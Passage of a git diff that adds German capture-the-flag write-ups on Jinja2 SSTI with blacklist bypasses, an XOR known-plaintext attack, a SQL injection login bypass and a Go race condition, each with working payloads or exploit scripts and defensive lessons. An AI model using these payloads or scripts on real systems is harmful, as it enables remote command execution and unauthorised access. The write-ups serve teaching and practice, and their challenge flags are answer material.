Uns wird eine "Profile Viewer"-Anwendung präsentiert, die den Namen eines Benutzers entgegennimmt und eine benutzerdefinierte Begrüßung rendert. Unser Ziel ist es, die Rendering-Engine auszunutzen, um die Flagge vom Server zu lesen.
|
||||
|
||||
---
|
||||
|
||||
## 1. Erste Erkundung
|
||||
|
||||
Die Challenge stellt uns eine URL und den Quellcode zur Verfügung. Wenn wir die Seite besuchen, sehen wir eine einfache Seite, die "Guest" begrüßt.
|
||||
|
||||
Die URL sieht wahrscheinlich so aus:
|
||||
`http://challenge-url/?name=Guest`
|
||||
|
||||
Wenn wir den Parameter `name` zu `Test` ändern, aktualisiert sich die Seite zu "Hello, Test!". Dies bestätigt, dass unsere Eingabe auf der Seite reflektiert wird.
|
||||
|
||||
## 2. Quellcode-Analyse
|
||||
|
||||
Untersuchen wir die bereitgestellte `app.py`, um zu verstehen, wie die Seite generiert wird.
|
||||
|
||||
```python
|
||||
@app.route('/')
|
||||
def index():
|
||||
# Get the 'name' parameter
|
||||
name = request.args.get('name', 'Guest')
|
||||
|
||||
# 1. Check for Blacklisted words
|
||||
for bad_word in BLACKLIST:
|
||||
if bad_word in name.lower():
|
||||
return "Hacker detected! ..."
|
||||
|
||||
# 2. Vulnerable Template Construction
|
||||
template = f'''
|
||||
...
|
||||
<h1>Hello, {name}!</h1>
|
||||
...
|
||||
'''
|
||||
|
||||
# Render the template
|
||||
return render_template_string(template)
|
||||
```
|
||||
|
||||
### Die Schwachstelle: SSTI
|
||||
Der kritische Fehler liegt darin, wie der `template`-String konstruiert wird. Der Entwickler verwendet einen Python f-String (`f'''... {name} ...'''`), um die Benutzereingabe *direkt in den Template-Quellcode* einzufügen, bevor er ihn an `render_template_string` übergibt.
|
||||
|
||||
In Flask (Jinja2) wird `{{ ... }}` verwendet, um Code innerhalb eines Templates auszuführen. Durch Injizieren von `{{ 7*7 }}` können wir den Server bitten, 7*7 zu berechnen. Wenn die Seite "49" anzeigt, haben wir Codeausführung.
|
||||
|
||||
### Das Hindernis: Die Blacklist
|
||||
Die Anwendung versucht, sich mit einer Blacklist zu sichern:
|
||||
`BLACKLIST = ["config", "self", "flag"]`
|
||||
|
||||
Das bedeutet, wir können nicht die Standard-SSTI-Payloads wie `{{ config }}` oder `{{ self.__dict__ }}` verwenden. Wir können auch nicht einfach `cat flag.txt` ausführen, weil das Wort "flag" verboten ist.
|
||||
|
||||
## 3. Entwicklung des Exploits
|
||||
|
||||
Wir müssen einen Weg finden, auf das Python `os`-Modul zuzugreifen, um Systembefehle auszuführen, ohne die gesperrten Wörter zu verwenden.
|
||||
|
||||
In Python-Web-Frameworks wie Flask ist das `request`-Objekt oft im Template-Kontext verfügbar. Über `request` können wir die Python-Objekthierarchie durchlaufen, um den globalen Geltungsbereich zu erreichen und Module zu importieren.
|
||||
|
||||
**Schritt 1: Zugriff auf Built-ins**
|
||||
Wir können das `request`-Objekt verwenden, um auf den globalen Geltungsbereich zuzugreifen:
|
||||
`request.application.__globals__`
|
||||
|
||||
Von dort aus können wir auf die eingebauten Funktionen von Python zugreifen:
|
||||
`request.application.__globals__.__builtins__`
|
||||
|
||||
**Schritt 2: Importieren von OS**
|
||||
Jetzt können wir die `__import__`-Funktion verwenden, um das `os`-Modul zu laden:
|
||||
`request.application.__globals__.__builtins__.__import__('os')`
|
||||
|
||||
**Schritt 3: Ausführen von Befehlen**
|
||||
Mit dem `os`-Modul können wir `popen` verwenden, um Shell-Befehle auszuführen, und `read`, um die Ausgabe zu erhalten:
|
||||
`.popen('ls').read()`
|
||||
|
||||
**Schritt 4: Umgehung des "flag"-Filters**
|
||||
Wenn wir versuchen, `cat flag.txt` auszuführen, blockiert uns die Anwendung, weil es "flag" enthält.
|
||||
Wir können dies mit Shell-Wildcards umgehen. Statt `flag.txt` können wir `fl*` sagen.
|
||||
`cat fl*` passt auf `flag.txt`, enthält aber nicht den verbotenen String "flag".
|
||||
|
||||
## 4. Der finale Payload
|
||||
|
||||
Alles zusammen sieht unser Payload so aus:
|
||||
|
||||
`{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}`
|
||||
|
||||
Wir müssen diesen Payload URL-kodieren, bevor wir ihn an den Server senden.
|
||||
|
||||
**Kodierte URL:**
|
||||
`?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D`
|
||||
|
||||
## 5. Die Lösung
|
||||
|
||||
Das Senden des Payloads an den Server führt den Befehl aus, liest die Flaggen-Datei und rendert das Ergebnis auf der Seite.
|
||||
|
||||
**Flag:** `{flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}`
|
||||
|
||||
---
|
||||
|
||||
## Gelernte Lektionen
|
||||
|
||||
* **Kontext ist wichtig:** Verketten Sie niemals Benutzereingaben direkt in einen Template-String.
|
||||
* **Verwenden Sie das Framework korrekt:** Übergeben Sie Daten immer als Kontextvariablen an die Render-Funktion.
|
||||
* *Verwundbar:* `render_template_string(f"Hello {name}")`
|
||||
* *Sicher:* `render_template_string("Hello {{ name }}", name=user_input)`
|
||||
* **Blacklists versagen:** Der Versuch, bestimmte Wörter ("flag", "config") zu blockieren, ist selten effektiv. Hacker können fast immer einen Weg finden, sie zu umgehen (z.B. String-Verkettung, Kodierung, Wildcards).
|
||||
|
||||
Frohes Hacken!
|
||||
108
de/render_me_this_one_more_time.md
Normal file
108
de/render_me_this_one_more_time.md
Normal file
@@ -0,0 +1,108 @@
|
||||
# Render Me This (One More Time)
|
||||
|
||||
Willkommen zum Write-up für **Render Me This (One More Time)**. Dies ist die Fortsetzung der vorherigen SSTI-Challenge, mit "verbesserten" Sicherheitsfiltern.
|
||||
|
||||
Wir haben erneut die Aufgabe, eine **Server-Side Template Injection (SSTI)** Schwachstelle auszunutzen, um die Flagge zu lesen, aber dieses Mal müssen wir eine strenge Blacklist umgehen, die die meisten Standard-Angriffsvektoren blockiert.
|
||||
|
||||
---
|
||||
|
||||
## 1. Erste Erkundung
|
||||
|
||||
Die Challenge ist identisch mit der vorherigen, aber mit einer neuen Beschreibung:
|
||||
> "Wir haben unsere Sicherheitsfilter aktualisiert. Wir haben erkannt, dass es eine schlechte Idee war, Leute Dinge importieren zu lassen, also haben wir alle gefährlichen Schlüsselwörter verbannt."
|
||||
|
||||
Dies impliziert, dass unser vorheriger Payload (der `import`, `os` und `popen` verwendete) blockiert wird.
|
||||
|
||||
## 2. Quellcode-Analyse
|
||||
|
||||
Untersuchen wir die neue `app.py`, um die Einschränkungen zu sehen:
|
||||
|
||||
```python
|
||||
BLACKLIST = [
|
||||
"import", "os", "system", "popen", "flag", "config", "eval", "exec",
|
||||
"request", "url_for", "self", "g", "process",
|
||||
"+", "~", "%", "format", "join", "chr", "ascii"
|
||||
]
|
||||
```
|
||||
|
||||
Dies ist eine **heftige** Blacklist.
|
||||
* **Keine globalen Objekte:** Wir können `request`, `url_for` oder `self` nicht verwenden, um auf den globalen Geltungsbereich (`__globals__`) zuzugreifen.
|
||||
* **Keine String-Konstruktion:** Wir können `+` oder `join` nicht verwenden, um Keyword-Filter zu umgehen (z.B. `'o'+'s'` wird blockiert).
|
||||
* **Keine Formatierung:** Wir können keine String-Formatierungstricks verwenden.
|
||||
|
||||
Dies zwingt uns, einen Weg zu finden, Code auszuführen, indem wir nur die Objekte verwenden, die bereits im Template-Kontext verfügbar sind (wie Strings `""` oder Listen `[]`), und deren Vererbungshierarchie durchlaufen.
|
||||
|
||||
## 3. Die Schwachstelle: MRO Traversal
|
||||
|
||||
In Python hat jedes Objekt eine Method Resolution Order (MRO), die die Klassenhierarchie definiert. Wir können dies zu unserem Vorteil nutzen, um auf mächtige Klassen zuzugreifen, ohne etwas importieren zu müssen.
|
||||
|
||||
### Schritt 1: Zugriff auf das Basisobjekt
|
||||
Wir beginnen mit einer einfachen leeren Liste `[]`. In Python ist `[]` eine Instanz der Klasse `list`.
|
||||
`{{ [].__class__ }}` --> `<class 'list'>`
|
||||
|
||||
Von der `list`-Klasse können wir eine Ebene höher zu ihrer Elternklasse gehen, welche `object` ist.
|
||||
`{{ [].__class__.__base__ }}` --> `<class 'object'>`
|
||||
|
||||
### Schritt 2: Auflisten aller Unterklassen
|
||||
Die `object`-Klasse ist die Wurzel aller Klassen in Python. Entscheidend ist, dass sie eine Methode namens `__subclasses__()` hat, die eine Liste **aller einzelnen Klassen** zurückgibt, die derzeit in der Anwendung geladen sind.
|
||||
|
||||
`{{ [].__class__.__base__.__subclasses__() }}`
|
||||
|
||||
Wenn Sie diesen Payload in die URL injizieren (`?name={{[].__class__.__base__.__subclasses__()}}`), zeigt die Seite eine riesige Liste von Klassen an wie:
|
||||
`[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ... <class 'subprocess.Popen'>, ...]`
|
||||
|
||||
### Schritt 3: Finden von `subprocess.Popen`
|
||||
Wir müssen den Index der Klasse `subprocess.Popen` in dieser Liste finden. Diese Klasse ermöglicht es uns, neue Prozesse zu starten und Systembefehle auszuführen.
|
||||
|
||||
Sie können die Ausgabe von der Webseite in einen Texteditor kopieren und nach "subprocess.Popen" suchen. Alternativ können Sie ein kleines Skript schreiben, um den Index lokal zu finden (wenn Sie dieselbe Umgebung haben).
|
||||
In dieser spezifischen Challenge-Umgebung befindet sich `subprocess.Popen` am Index **361**.
|
||||
|
||||
(Hinweis: Wenn 361 nicht funktioniert, müssen Sie möglicherweise umliegende Zahlen wie 360 oder 362 ausprobieren, da der Index je nach Python-Version und installierten Bibliotheken leicht variieren kann).
|
||||
|
||||
### Schritt 4: Instanziierung von Popen
|
||||
Jetzt, da wir die Klasse haben (bei Index 361), können wir sie instanziieren, genau wie beim Aufruf einer Funktion. Wir wollen einen Shell-Befehl ausführen.
|
||||
|
||||
Der `Popen`-Konstruktor nimmt einen Befehl als Liste oder String entgegen. Wir müssen auch `shell=True` setzen, um Shell-Befehle auszuführen, und `stdout=-1`, um die Ausgabe zu erfassen.
|
||||
|
||||
`...[361]('command', shell=True, stdout=-1)`
|
||||
|
||||
### Schritt 5: Umgehung des "flag"-Filters
|
||||
Wir wollen `cat flag.txt` ausführen. Das Wort "flag" steht jedoch auf der `BLACKLIST`.
|
||||
Wir können dies leicht mit einem Shell-Wildcard umgehen: `cat fl*`.
|
||||
Die Shell wird `fl*` automatisch zu `flag.txt` erweitern.
|
||||
|
||||
Unser Befehl lautet also: `'cat fl*'`
|
||||
|
||||
### Schritt 6: Lesen der Ausgabe
|
||||
Das `Popen`-Objekt erstellt einen Prozess, gibt aber die Ausgabe nicht direkt zurück. Wir müssen die Methode `.communicate()` auf dem erstellten Prozessobjekt aufrufen. Diese Methode wartet darauf, dass der Befehl beendet ist, und gibt ein Tupel zurück, das `(stdout, stderr)` enthält.
|
||||
|
||||
## 4. Der finale Payload
|
||||
|
||||
Wenn wir alles zusammenfügen, konstruieren wir die vollständige Injection:
|
||||
|
||||
1. Beginne mit einer Liste: `[]`
|
||||
2. Hole die `object`-Klasse: `.__class__.__base__`
|
||||
3. Hole alle Unterklassen: `.__subclasses__()`
|
||||
4. Wähle `subprocess.Popen`: `[361]`
|
||||
5. Instanziiere mit Befehl: `('cat fl*', shell=True, stdout=-1)`
|
||||
6. Hole Ausgabe: `.communicate()`
|
||||
|
||||
**Finaler Payload:**
|
||||
`{{ [].__class__.__base__.__subclasses__()[361]('cat fl*', shell=True, stdout=-1).communicate() }}`
|
||||
|
||||
**Kodierte URL:**
|
||||
`?name={{[].__class__.__base__.__subclasses__()[361]('cat%20fl*',shell=True,stdout=-1).communicate()}}`
|
||||
|
||||
## 5. Die Lösung
|
||||
|
||||
Senden Sie die kodierte URL an den Server. Die Seite rendert die Ausgabe des Befehls und enthüllt die Flagge.
|
||||
|
||||
**Flag:** `{flag:MRO_Trav3rsal_Is_The_Way_To_Go}`
|
||||
|
||||
---
|
||||
|
||||
## Gelernte Lektionen
|
||||
|
||||
* **Blacklisting ist zwecklos:** Selbst mit strengen Filtern, die globale Objekte und String-Manipulation blockieren, ermöglicht die grundlegende Natur des Python-Objektmodells die Codeausführung via MRO Traversal.
|
||||
* **Sandboxing ist schwer:** Wenn Sie von Benutzern eingereichten Code/Templates zulassen müssen, benötigen Sie eine robuste Sandbox (wie das Entfernen von `__subclasses__` oder die Verwendung einer sicheren Template-Engine wie Jinja2s `SandboxedEnvironment`), nicht nur einen Wortfilter.
|
||||
* **Least Privilege:** Stellen Sie sicher, dass die Webanwendung mit minimalen Berechtigungen läuft, damit der Schaden begrenzt bleibt, selbst wenn eine Codeausführung erreicht wird.
|
||||
100
de/reversible_logic.md
Normal file
100
de/reversible_logic.md
Normal file
@@ -0,0 +1,100 @@
|
||||
# Reversible Logic
|
||||
|
||||
`Reversible Logic` ist eine Kryptographie-Challenge, die auf den Eigenschaften der XOR-Operation basiert. Uns wird ein Dienst bereitgestellt, der unsere Eingabe mit einer versteckten Flagge als Schlüssel verschlüsselt.
|
||||
|
||||
## Informationsbeschaffung
|
||||
|
||||
Wir verbinden uns mit dem Challenge-Dienst und werden mit einer Eingabeaufforderung begrüßt:
|
||||
|
||||
```
|
||||
--- Secure XOR Encryption Service ---
|
||||
Enter a message to encrypt:
|
||||
```
|
||||
|
||||
Die Beschreibung besagt: "Dieses Programm implementiert eine einfache XOR-Chiffre unter Verwendung einer versteckten Flagge als Schlüssel."
|
||||
|
||||
Testen wir es, indem wir eine einfache Eingabe wie "AAAA" senden:
|
||||
|
||||
```
|
||||
Enter a message to encrypt: AAAA
|
||||
|
||||
Encrypted Result (Hex): 3a272d20
|
||||
```
|
||||
|
||||
## Schwachstellenanalyse
|
||||
|
||||
Der Dienst implementiert eine Standard-XOR-Chiffre, wobei:
|
||||
$$Chiffretext = Klartext \oplus Schlüssel$$
|
||||
|
||||
Wir kontrollieren den **Klartext** (unsere Eingabe) und erhalten den **Chiffretext** (die Hex-Ausgabe). Der **Schlüssel** ist die versteckte Flagge, die wir wiederherstellen wollen.
|
||||
|
||||
Eine fundamentale Eigenschaft der XOR-Operation ist, dass sie ihre eigene Umkehrung ist (reversibel):
|
||||
$$A \oplus B = C \implies C \oplus B = A$$
|
||||
|
||||
Daher können wir den Schlüssel wiederherstellen, indem wir den Chiffretext mit unserem bekannten Klartext XORen:
|
||||
$$Schlüssel = Chiffretext \oplus Klartext$$
|
||||
|
||||
Um die vollständige Flagge wiederherzustellen, müssen wir nur einen Klartext senden, der mindestens so lang wie die Flagge ist. Da wir die genaue Länge nicht kennen, stellt das Senden eines langen Strings (z.B. 100 Zeichen) sicher, dass wir sie vollständig abdecken.
|
||||
|
||||
## Lösung
|
||||
|
||||
Wir können diesen Prozess mit einem Python-Skript automatisieren:
|
||||
1. Verbinde mit dem Server.
|
||||
2. Sende einen langen String bekannter Zeichen (z.B. 100 'A's).
|
||||
3. Empfange den hex-kodierten Chiffretext.
|
||||
4. Dekodiere das Hex und XOR es mit unserem String von 'A's, um die Flagge zu enthüllen.
|
||||
|
||||
### Solver-Skript
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Log-Level setzen, damit wir die "Opening connection" Nachrichten sehen
|
||||
context.log_level = 'info'
|
||||
|
||||
def main():
|
||||
# 1. Verbinde mit der Challenge-Instanz
|
||||
# (Passt zur IP/Port aus deiner vorherigen Nachricht)
|
||||
io = remote('127.0.0.1', 1315)
|
||||
|
||||
# 2. Behandle die Server-Prompts
|
||||
# Wir lesen, bis der Server nach Eingabe fragt
|
||||
io.recvuntil(b"Enter a message to encrypt: ")
|
||||
|
||||
# 3. Sende unseren "Bekannten Klartext"
|
||||
# Wir senden einen langen String von 'A's (0x41), um sicherzustellen, dass wir die volle Flagge erfassen.
|
||||
# Wenn die Flagge länger als 100 Zeichen ist, erhöhe einfach diese Zahl.
|
||||
plaintext = b"A" * 100
|
||||
io.sendline(plaintext)
|
||||
|
||||
# 4. Empfange die Antwort
|
||||
io.recvuntil(b"Encrypted Result (Hex): ")
|
||||
|
||||
# Lies die Hex-String-Zeile und entferne Whitespace/Newlines
|
||||
hex_output = io.recvline().strip().decode()
|
||||
|
||||
log.info(f"Received Hex Ciphertext: {hex_output}")
|
||||
|
||||
# 5. Dekodiere das Hex
|
||||
cipher_bytes = bytes.fromhex(hex_output)
|
||||
|
||||
# 6. XOR zur Wiederherstellung des Schlüssels
|
||||
# pwntools hat eine eingebaute xor() Funktion, die sehr robust ist.
|
||||
# Logik: Key = Cipher ^ Plaintext
|
||||
recovered_key = xor(cipher_bytes, plaintext)
|
||||
|
||||
# 7. Ausgabe der Flagge
|
||||
# Wir verwenden 'errors=ignore' nur für den Fall seltsamer Bytes,
|
||||
# aber für eine Text-Flagge sollte es sauber sein.
|
||||
log.success(f"Recovered Flag: {recovered_key.decode('utf-8', errors='ignore')}")
|
||||
|
||||
io.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
### Ausführung
|
||||
|
||||
Das manuelle Ausführen der Logik oder via Skript enthüllt die Flagge.
|
||||
`{flag: xor_logic_is_reversible_123}`
|
||||
111
de/selective_security.md
Normal file
111
de/selective_security.md
Normal file
@@ -0,0 +1,111 @@
|
||||
# Selective Security
|
||||
|
||||
Willkommen zum Write-up für **Selective Security**. Dies ist eine einführende "Web" (Web Exploitation) Challenge, die eine der kritischsten und am weitesten verbreiteten Schwachstellen in der Geschichte von Webanwendungen demonstriert: **SQL Injection (SQLi)**.
|
||||
|
||||
In dieser Challenge wird uns ein scheinbar sicheres Login-Portal präsentiert, das "Standard"-Benutzer von "Administratoren" trennt. Unsere Mission ist es, den Authentifizierungsmechanismus zu umgehen und Zugriff auf das eingeschränkte Admin-Dashboard zu erhalten, um die Flagge abzurufen.
|
||||
|
||||
---
|
||||
|
||||
## 1. Erste Erkundung
|
||||
|
||||
Die Challenge stellt uns einen Link zu einem "Internen Blog-Portal" und ein herunterladbares Archiv zur Verfügung: `selective_security.tar.xz`.
|
||||
|
||||
Wenn wir das Portal besuchen, werden wir von einem Login-Formular begrüßt. Wir können versuchen, uns mit zufälligen Anmeldeinformationen (z.B. `guest`/`guest`) anzumelden, was uns Zugriff als "Standardbenutzer" gewährt. Wir sehen einen einfachen Blog-Feed, aber keine Flagge. Die Challenge-Beschreibung sagt uns, dass die "tatsächlichen administrativen Funktionen durch eine strenge Datenbanküberprüfung geschützt sind". Um die Flagge zu erhalten, müssen wir uns als **admin**-Benutzer anmelden.
|
||||
|
||||
## 2. Quellcode-Analyse
|
||||
|
||||
Da wir den Quellcode in `selective_security.tar.xz` erhalten haben, können wir genau sehen, wie der Server unseren Anmeldeversuch behandelt. Nach dem Entpacken des Archivs finden wir eine einzelne Datei: `main.go`.
|
||||
|
||||
Wenn wir uns die `loginHandler`-Funktion ansehen, sehen wir, wie die Anwendung zwischen Benutzern unterscheidet:
|
||||
|
||||
```go
|
||||
func loginHandler(w http.ResponseWriter, r *http.Request) {
|
||||
// ...
|
||||
username := r.FormValue("username")
|
||||
password := r.FormValue("password")
|
||||
|
||||
if username == "admin" {
|
||||
handleAdminLogin(w, password)
|
||||
} else {
|
||||
// Standardbenutzer erhalten das fakeUserTmpl (keine Flagge)
|
||||
data := map[string]string{"Username": username}
|
||||
renderTemplate(w, fakeUserTmpl, data)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Wenn wir den Benutzernamen `admin` angeben, ruft die Anwendung `handleAdminLogin` auf. Hier findet die "strenge Datenbanküberprüfung" statt:
|
||||
|
||||
```go
|
||||
func handleAdminLogin(w http.ResponseWriter, password string) {
|
||||
// Query erstellen
|
||||
query := fmt.Sprintf("SELECT id FROM users WHERE username = 'admin' AND password = '%s'", password)
|
||||
log.Println("Executing Query:", query)
|
||||
|
||||
var id int
|
||||
err := db.QueryRow(query).Scan(&id)
|
||||
|
||||
if err == nil {
|
||||
// ERFOLG: Die Datenbank hat einen passenden Datensatz gefunden!
|
||||
data := map[string]string{"Flag": globalFlag}
|
||||
renderTemplate(w, successTmpl, data)
|
||||
} else {
|
||||
// ... Fehlerbehandlung ...
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 3. Die Schwachstelle: SQL Injection
|
||||
|
||||
Die Schwachstelle liegt darin, wie die SQL-Abfrage konstruiert wird. Die Anwendung verwendet `fmt.Sprintf`, um unser `password` direkt in den Abfrage-String einzufügen:
|
||||
|
||||
`"SELECT id FROM users WHERE username = 'admin' AND password = '%s'"`
|
||||
|
||||
Dies ist eine klassische **SQL Injection** Schwachstelle. Da die Anwendung keine **parametrisierten Abfragen** (Platzhalter wie `?`) verwendet, behandelt sie unsere Eingabe als Teil des SQL-Befehls selbst und nicht nur als Daten.
|
||||
|
||||
## 4. Entwicklung des Exploits
|
||||
|
||||
Wir kennen das Passwort des Admins nicht, aber wir können SQL-Syntax verwenden, um die Logik der `WHERE`-Klausel zu ändern. Unser Ziel ist es, die gesamte Bedingung zu **WAHR** auszuwerten, damit die Datenbank ein Ergebnis zurückgibt.
|
||||
|
||||
Wenn wir den folgenden Payload als Passwort eingeben:
|
||||
`' OR '1'='1`
|
||||
|
||||
Die endgültige von der Datenbank ausgeführte Abfrage wird zu:
|
||||
```sql
|
||||
SELECT id FROM users WHERE username = 'admin' AND password = '' OR '1'='1'
|
||||
```
|
||||
|
||||
### Aufschlüsselung der Logik:
|
||||
1. `username = 'admin' AND password = ''`: Dieser Teil wird zuerst ausgewertet (aufgrund der Operator-Rangfolge) und ist wahrscheinlich **Falsch**.
|
||||
2. `OR '1'='1'`: Dieser Teil ist immer **Wahr**.
|
||||
3. `Falsch ODER Wahr` ergibt **Wahr**.
|
||||
|
||||
Die Datenbank ignoriert die falsche Passwortprüfung und gibt die ID des Admins zurück. Der Go-Code sieht, dass eine Zeile zurückgegeben wurde (`err == nil`) und gewährt uns Zugriff auf das Dashboard.
|
||||
|
||||
## 5. Ausnutzung
|
||||
|
||||
1. Navigieren Sie zur Login-Seite.
|
||||
2. Benutzername eingeben: `admin`
|
||||
3. Passwort eingeben: `' OR '1'='1`
|
||||
4. Klicken Sie auf **Login**.
|
||||
|
||||
Die Seite "Administrator Access Granted" erscheint und zeigt die Flagge an.
|
||||
|
||||
**Flag:** `{flag:Sql_Inj3ct10n_Is_Ez_Pz_Read_From_File}`
|
||||
|
||||
---
|
||||
|
||||
## Gelernte Lektionen
|
||||
|
||||
Diese Challenge hebt hervor, warum Sie **niemals** Benutzereingaben vertrauen sollten, wenn Sie Datenbankabfragen erstellen. Selbst eine einzige Schwachstelle wie diese kann einem Angreifer vollen Zugriff auf sensible Daten oder administrative Konten gewähren.
|
||||
|
||||
Um dies zu verhindern, verwenden Sie immer **parametrisierte Abfragen** (auch bekannt als Prepared Statements). In Go wäre der sichere Weg, diese Abfrage zu schreiben:
|
||||
|
||||
```go
|
||||
// SICHERE VERSION
|
||||
db.QueryRow("SELECT id FROM users WHERE username = 'admin' AND password = ?", password)
|
||||
```
|
||||
|
||||
Durch die Verwendung des `?`-Platzhalters stellt der Datenbanktreiber sicher, dass die Eingabe strikt als String behandelt wird, was es für den Benutzer unmöglich macht, "auszubrechen" und SQL-Befehle zu injizieren.
|
||||
|
||||
Frohes Hacken!
|
||||
152
de/shared_state_of_mind.md
Normal file
152
de/shared_state_of_mind.md
Normal file
@@ -0,0 +1,152 @@
|
||||
# Shared State of Mind
|
||||
|
||||
Willkommen zum Write-up für **Shared State of Mind**. Diese Challenge ist eine "Web"-Challenge, die in die gefährlichen Gewässer der Nebenläufigkeit in Go eintaucht. Sie demonstriert, warum globaler Zustand in einer nebenläufigen Umgebung (wie einem Webserver) ein Rezept für Desaster ist.
|
||||
|
||||
Uns wird ein "High-Performance File Viewer" präsentiert, der angeblich "Bloatware" wie Mutex-Locks entfernt hat. Unser Ziel ist es, die Datei `flag.txt` zu lesen, die durch eine Sicherheitsprüfung geschützt ist.
|
||||
|
||||
---
|
||||
|
||||
## 1. Erste Erkundung
|
||||
|
||||
Die Challenge stellt eine URL und ein herunterladbares Archiv `shared_state_of_mind.tar.xz` bereit.
|
||||
Die Verbindung zur URL gibt uns eine Dateibetrachter-Schnittstelle (oder API). Wir können Dateien mit `?file=...` anfordern.
|
||||
|
||||
Wenn wir `?file=worker.go` versuchen, erhalten wir den Quellcode.
|
||||
Wenn wir `?file=flag.txt` versuchen, erhalten wir:
|
||||
`Security Check Failed: Forbidden`
|
||||
|
||||
## 2. Quellcode-Analyse
|
||||
|
||||
Das Archiv enthält zwei wichtige Go-Dateien: `gateway.go` und `worker.go`.
|
||||
|
||||
**`gateway.go`**:
|
||||
Dies fungiert als Load Balancer/Proxy. Er weist jedem Benutzer eine eindeutige Sitzung zu und startet einen dedizierten `./worker`-Prozess für diesen Benutzer. Das bedeutet, dass unsere Anfragen an eine spezifische Instanz der Worker-Anwendung gehen, die nur uns zugewiesen ist.
|
||||
|
||||
**`worker.go`**:
|
||||
Hier liegt die Schwachstelle. Schauen wir uns an, wie es Anfragen behandelt:
|
||||
|
||||
```go
|
||||
// GLOBALE VARIABLE
|
||||
var checkPassed bool
|
||||
|
||||
func handler(w http.ResponseWriter, r *http.Request) {
|
||||
filename := r.URL.Query().Get("file")
|
||||
|
||||
// 1. Sicherheitsprüfung
|
||||
if strings.Contains(filename, "flag") {
|
||||
checkPassed = false
|
||||
} else {
|
||||
checkPassed = true
|
||||
}
|
||||
|
||||
// 2. Logging (simuliert Verzögerung)
|
||||
logAccess(filename)
|
||||
|
||||
// 3. Datei ausliefern
|
||||
if checkPassed {
|
||||
content, _ := ioutil.ReadFile(filename)
|
||||
w.Write(content)
|
||||
} else {
|
||||
http.Error(w, "Forbidden", 403)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 3. Die Schwachstelle: Race Condition
|
||||
|
||||
Die Variable `checkPassed` ist als **globale Variable** auf Paketebene definiert.
|
||||
In Go erstellt `http.ListenAndServe` eine neue Goroutine für jede eingehende Anfrage. Das bedeutet, wenn mehrere Anfragen gleichzeitig eingehen, teilen sie sich alle den Zugriff auf die *selbe* `checkPassed`-Variable.
|
||||
|
||||
Dies erzeugt eine **Race Condition** (spezifisch ein Time-of-Check to Time-of-Use Problem):
|
||||
|
||||
1. **Anfrage A (Sicher)** kommt für `worker.go` rein. Sie setzt `checkPassed = true`.
|
||||
2. **Anfrage B (Bösartig)** kommt für `flag.txt` rein. Sie setzt `checkPassed = false`.
|
||||
3. **Anfrage A** pausiert kurz (z.B. während `logAccess` oder Kontextwechsel).
|
||||
4. **Anfrage B** pausiert kurz.
|
||||
5. **Anfrage A** setzt fort und überschreibt potenziell `checkPassed` zurück auf `true`, *nachdem* Anfrage B es auf false gesetzt hatte, aber *bevor* Anfrage B ihre finale Prüfung durchführt.
|
||||
|
||||
Wenn wir das Timing richtig hinbekommen, erreicht Anfrage B (die die Flagge anfordert) die Zeile `if checkPassed` genau in dem Moment, in dem Anfrage A die globale Variable auf `true` gesetzt hat.
|
||||
|
||||
## 4. Ausnutzungsstrategie
|
||||
|
||||
Um dies auszunutzen, müssen wir den Server gleichzeitig mit zwei Arten von Anfragen überfluten, unter Verwendung des **gleichen Session-Cookies** (damit sie denselben Worker-Prozess treffen):
|
||||
|
||||
1. **Sichere Anfragen:** Wiederholt nach einer erlaubten Datei fragen (z.B. `?file=worker.go`). Dies versucht ständig, `checkPassed = true` zu setzen.
|
||||
2. **Bösartige Anfragen:** Wiederholt nach `?file=flag.txt` fragen. Dies versucht, die Flagge zu lesen.
|
||||
|
||||
Wir können ein einfaches Python-Skript mit mehreren Threads verwenden, um dies zu erreichen.
|
||||
|
||||
### Exploit-Skript
|
||||
|
||||
```python
|
||||
import threading
|
||||
import requests
|
||||
import sys
|
||||
import time
|
||||
|
||||
# --- ZIEL-KONFIGURATION ---
|
||||
TARGET_URL = "http://challenge-url:1320/"
|
||||
|
||||
print("[*] Initializing Session...")
|
||||
s = requests.Session()
|
||||
try:
|
||||
s.get(TARGET_URL)
|
||||
except requests.exceptions.ConnectionError:
|
||||
print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
|
||||
sys.exit(1)
|
||||
|
||||
if 'ctf_session' not in s.cookies:
|
||||
print("[-] Failed to get session cookie")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[+] Session ID: {s.cookies['ctf_session']}")
|
||||
cookie = {'ctf_session': s.cookies['ctf_session']}
|
||||
|
||||
def do_safe():
|
||||
while True:
|
||||
try:
|
||||
requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
|
||||
except:
|
||||
pass
|
||||
|
||||
def do_exploit():
|
||||
while True:
|
||||
try:
|
||||
r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
|
||||
if "{flag: " in r.text:
|
||||
print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
|
||||
sys.exit(0)
|
||||
except:
|
||||
pass
|
||||
|
||||
print("[*] Starting threads... (Press Ctrl+C to stop)")
|
||||
|
||||
# Hohes Volumen an sicheren Threads, um den Schalter umzulegen
|
||||
for i in range(10):
|
||||
t = threading.Thread(target=do_safe)
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
# Exploit-Thread
|
||||
for i in range(1):
|
||||
t = threading.Thread(target=do_exploit)
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
```
|
||||
|
||||
## 5. Die Lösung
|
||||
|
||||
Das Ausführen des Exploit-Skripts gegen das Ziel verursacht eine Race Condition. Innerhalb weniger Sekunden wird eine der bösartigen Anfragen das Rennen "gewinnen" – durch die Prüfung schlüpfen, weil eine gleichzeitige sichere Anfrage den globalen Schalter auf `true` gesetzt hat.
|
||||
|
||||
**Flag:** `{flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}`
|
||||
|
